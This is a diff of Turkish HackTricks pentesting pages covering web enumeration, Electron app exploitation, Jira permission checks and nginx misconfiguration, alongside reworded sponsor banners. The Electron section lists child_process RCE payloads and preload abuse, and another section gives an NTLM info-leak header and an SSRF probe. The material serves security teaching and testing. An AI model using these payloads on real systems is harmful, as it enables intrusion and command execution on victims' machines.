dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol etmelisiniz, zayıf olup olmadığını bulmak için. * **Javascript Deobfuscator ve Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) * **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) * **JsFuck deobfuscation** (karakterlerle javascript:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)) * [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -* Birçok durumda kullanılan **düzenli ifadeleri anlamanız gerekecektir**, bu yararlı olacaktır: [https://regex101.com/](https://regex101.com) -* Ayrıca, formların bulunduğu dosyaları **izlemelisiniz**, çünkü parametrelerde bir değişiklik veya yeni bir formun görünmesi potansiyel olarak yeni bir zayıf işlevsellik belirtisi olabilir. +* Birkaç durumda kullanılan **düzenli ifadeleri anlamanız gerekecektir**, bu yararlı olacaktır: [https://regex101.com/](https://regex101.com) +* Ayrıca, formların keşfedildiği dosyaları **izlemelisiniz**, çünkü parametrelerde bir değişiklik veya yeni bir formun görünmesi potansiyel olarak yeni bir zayıf işlevsellik belirtisi olabilir. **403 Forbidden/Basic Authentication/401 Unauthorized (atlatma)** @@ -323,18 +323,18 @@ _Bruteforcing veya spidering sırasında herhangi bir yeni dizin keşfedildiğin **502 Proxy Hatası** -Eğer herhangi bir sayfa bu **kodla yanıt verirse**, muhtemelen kötü yapılandırılmış bir proxydir. Eğer `GET https://google.com HTTP/1.1` gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_'a erişmeye çalışacak ve bir SSRF bulmuş olacaksınız. +Eğer herhangi bir sayfa bu **kodla** yanıt verirse, muhtemelen kötü yapılandırılmış bir proxydir. Eğer `GET https://google.com HTTP/1.1` gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_'a erişmeye çalışacak ve bir SSRF bulmuş olacaksınız. **NTLM Kimlik Doğrulama - Bilgi sızdırma** -Eğer kimlik doğrulama isteyen çalışan sunucu **Windows** ise veya kimlik doğrulama isteyen bir giriş (ve **alan adı** isteyen) bulursanız, bir **bilgi sızdırma** provoke edebilirsiniz.\ -`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` başlığını gönderin ve **NTLM kimlik doğrulamanın çalışma şekli** nedeniyle, sunucu iç bilgilerle (IIS sürümü, Windows sürümü...) "WWW-Authenticate" başlığında yanıt verecektir.\ +Eğer kimlik doğrulama isteyen çalışan sunucu **Windows** ise veya kimlik bilgilerinizi isteyen bir giriş bulursanız (ve **alan adı** adınızı soruyorsa), bir **bilgi sızdırma** provoke edebilirsiniz.\ +`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` başlığını **gönderin** ve **NTLM kimlik doğrulamanın** nasıl çalıştığından dolayı sunucu, "WWW-Authenticate" başlığı içinde iç bilgilerle (IIS sürümü, Windows sürümü...) yanıt verecektir.\ Bunu **nmap eklentisi** "_http-ntlm-info.nse_" kullanarak **otomatikleştirebilirsiniz**. -**HTTP Yönlendirme (CTF)** +**HTTP Yönlendirmesi (CTF)** Bir **Yönlendirme** içine içerik **yerleştirmek mümkündür**. Bu içerik **kullanıcıya gösterilmeyecek** (tarayıcı yönlendirmeyi gerçekleştireceği için), ancak içinde bir şey **gizlenebilir**. -### Web Güvenlik Açıklarını Kontrol Etme +### Web Güvenlik Açıklıklarını Kontrol Etme Web uygulamasının kapsamlı bir şekilde numaralandırılmasının ardından birçok olası güvenlik açığı kontrol edilmelidir. Kontrol listesini burada bulabilirsiniz: @@ -342,7 +342,7 @@ Web uygulamasının kapsamlı bir şekilde numaralandırılmasının ardından b [web-vulnerabilities-methodology](../../pentesting-web/web-vulnerabilities-methodology/) {% endcontent-ref %} -Web güvenlik açıkları hakkında daha fazla bilgi edinin: +Web açıklıkları hakkında daha fazla bilgi edinin: * [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) * [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html) @@ -352,7 +352,7 @@ Web güvenlik açıkları hakkında daha fazla bilgi edinin: Vulnerabilities ekleyebilecek değişiklikleri izlemek için [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçları kullanabilirsiniz. -
+
Eğer **hacking kariyeri** sizi ilgilendiriyorsa ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_). @@ -430,14 +430,14 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F ```
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**Resmi PEASS & HackTricks ürünlerini edinin**](https://peass.creator-spring.com) * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
diff --git a/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 961976650..5e2aa8c7c 100644 --- a/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -2,28 +2,28 @@
-AWS hacklemeyi sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
## Giriş -Electron, yerel bir arka uç (NodeJS ile) ve bir ön uç (Chromium ile) birleştirir, ancak modern tarayıcıların bazı güvenlik mekanizmalarını eksik bırakır. +Electron, yerel bir arka uç (ile **NodeJS**) ve bir ön uç (**Chromium**) birleştirir, ancak modern tarayıcıların bazı güvenlik mekanizmalarını eksikliği vardır. -Genellikle, electron uygulama kodunu bir `.asar` uygulamasının içinde bulabilirsiniz, kodu elde etmek için onu çıkarmalısınız: +Genellikle electron uygulama kodunu bir `.asar` uygulamasının içinde bulabilirsiniz, kodu elde etmek için onu çıkarmalısınız: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` -Electron uygulamasının kaynak kodunda, `packet.json` içinde, güvenlik yapılandırmalarının belirtildiği `main.js` dosyasını bulabilirsiniz. +Electron uygulamasının kaynak kodunda, `packet.json` dosyasının içinde, güvenlik yapılandırmalarının belirtildiği `main.js` dosyasını bulabilirsiniz. ```json { "name": "standard-notes", @@ -31,12 +31,12 @@ Electron uygulamasının kaynak kodunda, `packet.json` içinde, güvenlik yapıl ``` Electron'un 2 işlem türü vardır: -* Ana İşlem (NodeJS'ye tam erişime sahiptir) -* Render İşlemi (güvenlik nedenleriyle NodeJS erişimi kısıtlanmış olmalıdır) +* Ana İşlem (NodeJS'e tam erişime sahiptir) +* Oluşturucu İşlem (güvenlik nedenleriyle NodeJS erişimi kısıtlanmış olmalıdır) ![](<../../../.gitbook/assets/image (307) (5) (1).png>) -Bir **render işlemi**, bir dosya yükleyen bir tarayıcı penceresi olacaktır: +Bir **oluşturucu işlemi**, bir dosya yükleyen bir tarayıcı penceresi olacaktır: ```javascript const {BrowserWindow} = require('electron'); let win = new BrowserWindow(); @@ -44,18 +44,18 @@ let win = new BrowserWindow(); //Open Renderer Process win.loadURL(`file://path/to/index.html`); ``` -**Ana işlem** içindeki main.js dosyasında **renderleme işlemi**nin ayarları yapılandırılabilir. Ayarlar doğru bir şekilde yapılandırıldığında, bazı yapılandırmalar Electron uygulamasının RCE veya diğer güvenlik açıklarını önlemesine yardımcı olur. +**Renderer işlemi**nin ayarları, main.js dosyası içinde **ana işlem**de **ayarlanabilir**. Bazı yapılandırmalar, **ayarlar doğru bir şekilde yapılandırıldığında**, Electron uygulamasının **RCE almasını veya diğer güvenlik açıklarını önleyebilir**. -Electron uygulaması, Node API'lerini kullanarak cihaza erişebilir, ancak bunu önlemek için yapılandırılabilir: +Electron uygulaması, Node API'leri aracılığıyla cihaza erişebilir ancak bunu önlemek için yapılandırılabilir: -* **`nodeIntegration`** - varsayılan olarak `kapalı`dır. Etkinleştirildiğinde, renderleme işleminden Node özelliklerine erişime izin verir. -* **`contextIsolation`** - varsayılan olarak `açık`dır. Etkinleştirildiğinde, ana işlem ve renderleme işlemi izole edilmez. +* **`nodeIntegration`** - varsayılan olarak `kapalıdır`. Açık olduğunda, renderer işleminden Node özelliklerine erişime izin verir. +* **`contextIsolation`** - varsayılan olarak `açıktır`. Kapalı olduğunda, ana ve renderer işlemleri izole edilmez. * **`preload`** - varsayılan olarak boştur. -* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - varsayılan olarak kapalıdır. NodeJS'nin gerçekleştirebileceği işlemleri kısıtlar. +* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - varsayılan olarak kapalıdır. NodeJS'nin gerçekleştirebileceği işlemleri kısıtlayacaktır. * İşçilerde Node Entegrasyonu -* **`nodeIntegrationInSubframes`** - varsayılan olarak `kapalı`dır. -* Eğer **`nodeIntegration`** etkinleştirilmişse, bu, Electron uygulaması içindeki iframe'lerde yüklenen web sayfalarında Node.js API'lerinin kullanılmasına izin verecektir. -* Eğer **`nodeIntegration`** devre dışı bırakılmışsa, ön yüklemeler iframe içinde yüklenecektir. +* **`nodeIntegrationInSubframes`** - varsayılan olarak `kapalıdır`. +* Eğer **`nodeIntegration`** **etkinse**, bu, Electron uygulaması içindeki iframlarda yüklenen web sayfalarında **Node.js API'lerinin kullanılmasına izin verecektir**. +* Eğer **`nodeIntegration`** **devre dışı bırakılmışsa**, o zaman ön yüklemeler iframda yüklenecektir. Yapılandırma örneği: ```javascript @@ -83,28 +83,7 @@ spellcheck: true } }; ``` -İşte [buradan](https://7as.es/electron/nodeIntegration\_rce.txt) bazı **Uzaktan Kod Çalıştırma (RCE) payloadları**: - -```plaintext -1. require('child_process').exec('COMMAND') -2. require('child_process').execSync('COMMAND') -3. require('child_process').spawn('COMMAND') -4. require('child_process').spawnSync('COMMAND') -5. require('child_process').execFile('COMMAND') -6. require('child_process').execFileSync('COMMAND') -7. require('child_process').fork('COMMAND') -8. require('child_process').forkSync('COMMAND') -9. require('child_process').exec('COMMAND', { shell: true }) -10. require('child_process').execSync('COMMAND', { shell: true }) -11. require('child_process').spawn('COMMAND', { shell: true }) -12. require('child_process').spawnSync('COMMAND', { shell: true }) -13. require('child_process').execFile('COMMAND', { shell: true }) -14. require('child_process').execFileSync('COMMAND', { shell: true }) -15. require('child_process').fork('COMMAND', { shell: true }) -16. require('child_process').forkSync('COMMAND', { shell: true }) -``` - -Bu payloadlar, Electron masaüstü uygulamalarında Uzaktan Kod Çalıştırma (RCE) saldırıları gerçekleştirmek için kullanılabilir. Payloadları hedef uygulamada çalıştırmak için uygun bir zafiyet bulunması gerekmektedir. Bu payloadlar, `COMMAND` yerine hedef sisteme yürütülmek istenen komutun yerleştirilmesiyle kullanılabilir. +İşte [buradan](https://7as.es/electron/nodeIntegration\_rce.txt) bazı **RCE yükleri**: ```html Example Payloads (Windows): @@ -118,21 +97,21 @@ Example Payloads (Linux & MacOS): ``` ### Trafik Yakalama -Başlangıç ana yapılandırmasını değiştirin ve bir proxy kullanımını ekleyin, örneğin: +Başlangıç ana yapılandırmasını değiştirin ve şöyle bir proxy kullanımı ekleyin: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` ## Electron Yerel Kod Enjeksiyonu -Eğer bir Electron Uygulamasını yerel olarak çalıştırabiliyorsanız, onu keyfi JavaScript kodunu çalıştırmak için kullanabilirsiniz. Nasıl yapılacağını kontrol edin: +Bir Electron Uygulamasını yerel olarak çalıştırabiliyorsanız, bu uygulamanın keyfi JavaScript kodunu çalıştırmasını sağlayabilirsiniz. Nasıl yapılacağını kontrol edin: {% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} [macos-electron-applications-injection.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md) {% endcontent-ref %} -## Uzaktan Kod Çalıştırma (RCE): XSS + nodeIntegration +## Uzaktan Kod Çalıştırma: XSS + nodeIntegration -Eğer **nodeIntegration** özelliği **açık** olarak ayarlanmışsa, bir web sayfasının JavaScript'i, sadece `require()` fonksiyonunu çağırarak kolayca Node.js özelliklerini kullanabilir. Örneğin, Windows üzerinde hesap makinesini çalıştırmak için: +Eğer **nodeIntegration** değeri **on** olarak ayarlanmışsa, bir web sayfasının JavaScript'i Node.js özelliklerini kolayca kullanabilir, sadece `require()` fonksiyonunu çağırarak. Örneğin, Windows üzerinde hesap makinesini çalıştırmanın yolu: ```html ``` -# Örnek 2 +## Örnek 2 -Eğer ön yükleme betiği doğrudan işlemciye shell.openExternal çağrısı yapma imkanı sunarsa, Uzaktan Kod Çalıştırma (RCE) elde etmek mümkündür. +Eğer ön yükleme betiği doğrudan `shell.openExternal`'ı çağırmak için bir yol sunarsa, Uzaktan Kod Çalıştırma (RCE) elde etmek mümkündür. ```javascript // Part of preload.js code window.electronOpenInBrowser = (url) => { shell.openExternal(url); }; ``` -# Örnek 3 +## Örnek 3 -Preload betiği, ana işlemle tamamen iletişim kurmanın yollarını ortaya çıkarıyorsa, bir XSS herhangi bir olay gönderebilecektir. Bu durumun etkisi, ana işlemin IPC açısından ne tür bir şey ortaya çıkardığına bağlıdır. +Eğer preload betiği, ana işlemle tamamen iletişim kurmanın yollarını açığa çıkarıyorsa, bir XSS herhangi bir olayı gönderebilecektir. Bu durumun etkisi, ana işlemin IPC açısından neyi açığa çıkardığına bağlıdır. ```javascript window.electronListen = (event, cb) => { ipcRenderer.on(event, cb); @@ -99,16 +104,16 @@ window.electronSend = (event, data) => { ipcRenderer.send(event, data); }; ``` -
+ -AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin! +<özet>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. -
+ diff --git a/network-services-pentesting/pentesting-web/jira.md b/network-services-pentesting/pentesting-web/jira.md index d3bc94786..01c679e77 100644 --- a/network-services-pentesting/pentesting-web/jira.md +++ b/network-services-pentesting/pentesting-web/jira.md @@ -7,24 +7,24 @@ HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin -* [**PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**]'imiz koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. -* **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin. +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. -
+
-Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve konuşma gereklidir_). +Eğer **hackleme kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve konuşma gereklidir_). {% embed url="https://www.stmcyber.com/careers" %} ### Yetkileri Kontrol Et -Jira'da, **yetkiler**, herhangi bir kullanıcı tarafından, kimlik doğrulanmış veya doğrulanmamış olsa da, `/rest/api/2/mypermissions` veya `/rest/api/3/mypermissions` uç noktaları aracılığıyla kontrol edilebilir. Bu uç noktaları, kullanıcının mevcut yetkilerini ortaya çıkarır. **Doğrulanmamış kullanıcıların yetkilere sahip olması**, potansiyel olarak bir **güvenlik açığı** işareti olan bir durumu ortaya çıkarır ve potansiyel olarak bir **ödül** için uygun olabilir. Benzer şekilde, **doğrulanmış kullanıcılar için beklenmeyen yetkiler**, bir **güvenlik açığı**nı vurgular. +Jira'da, **yetkiler**, herhangi bir kullanıcı tarafından, kimlik doğrulanmış veya doğrulanmamış olsa da, `/rest/api/2/mypermissions` veya `/rest/api/3/mypermissions` uç noktaları aracılığıyla kontrol edilebilir. Bu uç noktaları, kullanıcının mevcut yetkilerini ortaya çıkarır. **Doğrulanmamış kullanıcıların yetkilere sahip olması**, potansiyel olarak bir **güvenlik açığı** işareti olan bir durumu ortaya çıkarır ve **ödül** için uygun olabilir. Benzer şekilde, **doğrulanmış kullanıcılar için beklenmeyen yetkiler**, bir **güvenlik açığı**nı vurgular. -Önemli bir **güncelleme**, **1 Şubat 2019** tarihinde yapıldı ve 'mypermissions' uç noktasının bir **'izin' parametresi** içermesini gerektiriyor. Bu gereklilik, sorgulanan yetkileri belirterek güvenliği **geliştirmeyi amaçlar**: [buradan kontrol edin](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) +Önemli bir **güncelleme**, **1 Şubat 2019** tarihinde yapıldı ve 'mypermissions' uç noktasının bir **'izin' parametresi** içermesini gerektirdi. Bu gereklilik, sorgulanan yetkileri belirterek güvenliği **geliştirmeyi amaçlar**: [buradan kontrol edin](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) * ADD\_COMMENTS * ADMINISTER @@ -78,7 +78,7 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h * [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe) * [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan) -
+
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_). @@ -86,14 +86,14 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
-Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +Sıfırdan kahraman olana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/pentesting-web/nginx.md b/network-services-pentesting/pentesting-web/nginx.md index be026286b..20c0b083a 100644 --- a/network-services-pentesting/pentesting-web/nginx.md +++ b/network-services-pentesting/pentesting-web/nginx.md @@ -2,29 +2,29 @@
-AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ya katıl! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! -HackTricks'ı desteklemenin diğer yolları: +HackTricks'i desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [Discord grubumuza](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubumuza](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) **ve** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına katkıda bulunun.**
-
+
-**Her yerden erişilebilir bir şekilde zafiyet değerlendirmesi ve penetrasyon testi kurulumu**. Keşiften raporlamaya kadar 20'den fazla araç ve özellikle tam bir pentest çalıştırın. Pentester'ları değiştirmiyoruz - onlara daha derine kazma, kabuk açma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz. +**Hemen kullanıma hazır zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar. {% embed url="https://pentest-tools.com/" %} ## Eksik kök konumu -## **Nginx Kök Dizin Yapılandırmanın Temelleri** +## **Nginx Kök Dizini Yapılandırmanın Temelleri** -Nginx sunucusunu yapılandırırken, **kök yönergesi** dosyaların sunulduğu temel dizini tanımlayarak önemli bir rol oynar. Aşağıdaki örneği düşünün: +Nginx sunucusunu yapılandırırken, **root direktifi** dosyaların sunulduğu temel dizini tanımlayarak kritik bir rol oynar. Aşağıdaki örneği düşünün: ```bash server { root /etc/nginx; @@ -35,21 +35,21 @@ proxy_pass http://127.0.0.1:8080/; } } ``` -Bu yapılandırmada, `/etc/nginx` kök dizini olarak belirlenmiştir. Bu yapı, `/hello.txt` gibi belirtilen kök dizini içindeki dosyalara erişime izin verir. Ancak, yalnızca belirli bir konum (`/hello.txt`) 